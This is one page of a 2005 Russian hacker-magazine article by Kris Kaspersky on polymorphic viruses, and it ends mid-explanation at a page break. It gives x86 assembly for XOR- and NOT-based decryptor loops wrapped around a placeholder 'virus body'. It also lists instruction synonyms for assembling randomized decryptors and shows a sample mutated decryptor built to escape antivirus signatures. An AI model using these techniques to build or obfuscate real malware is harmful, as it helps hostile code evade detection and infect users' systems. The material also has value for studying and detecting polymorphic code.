Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #82, ОКТЯБРЬ 2005 г.

Ступени полиморфизма

Крис Касперски ака мыщъх

Хакер, номер #082, стр. 082-120-4


Какие проблемы возникают при кодировании? Во-первых, код расшифровщика должен быть полностью перемещаемым. Тут базара нет! Написать такой расшифровщик несложно. Во-вторых, расшифровщик должен как-то определять начало и конец зашифрованного фрагмента. Это тоже решаемо. Шифровка не изменяет длину данных, и размер шифроблока будет постоянен для всех расшифровщиков, так что его можно вычислить еще на стадии ассемблирования. В-третьих, для каждого шифровщика должен существовать парный расшифровщик или же выбранный криптоаглгоритм должен быть симметричен, то есть повторная шифровка зашифрованного текста расшифровывает его.

Свойством симметрии обладают операции NOT; XOR X, любая константа; ROL/ROR X, 4 и некоторые другие арифметическо-логические операции, например, ADD byte,100h/2. Простейший симметричный шифровщик может выглядеть так (предварительно необходимо открыть сегмент кода на запись, что можно сделать функцией VirtualProtect):

[симметричный расшифровщик на основе XOR]

MOV ESI, offset body_begin

MOV EDI, ESI

MOV ECX, offset body_end - body_begin

my_begin:

LODSB

XOR AL, 66h

STOSB

LOOP my_begin

body_begin:

; // тело вируса со всеми остальными шифровщиками

body_end:

А вот другой расшифровщик:

[симметричный расшифровщик на основе NOT]

LEA EAX, body_end

my_begin:

NOT byte ptr DS:[EAX]

SUB EAX, offset body_begin +1

PUSHF

ADD EAX, offset body_begin

POPF

JNZ my_begin

body_begin:

; // тело вируса со всеми остальными шифровщиками

body_end:

Несимметричные шифровщики/расшифровщики устроены сложнее, зато среди низ наблюдается гораздо большее разнообразие. Можно использовать практически любую комбинацию арифметическо-логических команд, только никакого смысла в этом нет. Все равно, если антивирус доберется до файла, он его поймает.

[ступень 2: расшифровщик из кирпичиков]

Идея: расшифровщик вируса имеет постоянный алгоритм, но состоит из произвольно выбираемой последовательности команд. Звучит страшновато, но реализуется тривиально. Возьмем в качестве наглядно-агитационного пособия расшифровщик на основе XOR, описанный выше. А теперь попробуем подобрать синонимы для каждой из слагающих его машинных команд (заботится об оптимизации необязательно). Получится примерно так:

[инструкции и их синонимы]

MOV ESI,offset body_begin ->gt; LEA ESI,body_begin;MOV ESI,offset body_begin-1/INC ESI;

MOV EDI, ESI ->gt; PUSH ESI/POP EDI; XOR EDI,EDI/ADD EDI,ESI;

LODSB ->gt; MOV AL,[ESI]/INC ESI; SUB AL,AL/SUB AL,[ESI]/NOT AL/INC ESI/ADD AL,1

XOR AL,66h ->gt; XOR AL, 6/XOR AL, 60h

Для каждой из команд шифровщика мы будем выбирать случайную последовательность синонимов, как бы собирая шифровщик из кирпичиков. Результат нашей работы может выглядеть, например, так:

[случайно сгенерированный расшифровщик]

LEA ESI, body_begin

PUSH ESI

POP EDI

MOV ECX, offset body_end - body_begin + 2

DEC ECX

DEC ECX

my_begin:

MOV AL,[ESI]

INC ESI

XOR AL, 6

XOR AL, 66

MOV [EDI], AL

SUB EDI, -1

ADD ECX, -1

JNZ my_begin

Поскольку синонимы команд подготавливаются вручную еще на этапе ассемблирования, автоматически определять их длины совсем необязательно! Реализация получается очень простая. Единственную проблему представляют метки. Как видно, и абсолютное, и относительное смещение my_begin изменилось. Мы не можем на этапе ассемблирования подставлять в команду JNZ смещение my_begin, поскольку оно будет указывать в космос. Что делать? Вот одно из решений проблемы. Вместо метки подставляем команду сохранения текущего EIP в один из свободных регистров общего назначения, а затем прыгаем на него:

Назад на стр. 082-120-3  Содержание  Вперед на стр. 082-120-5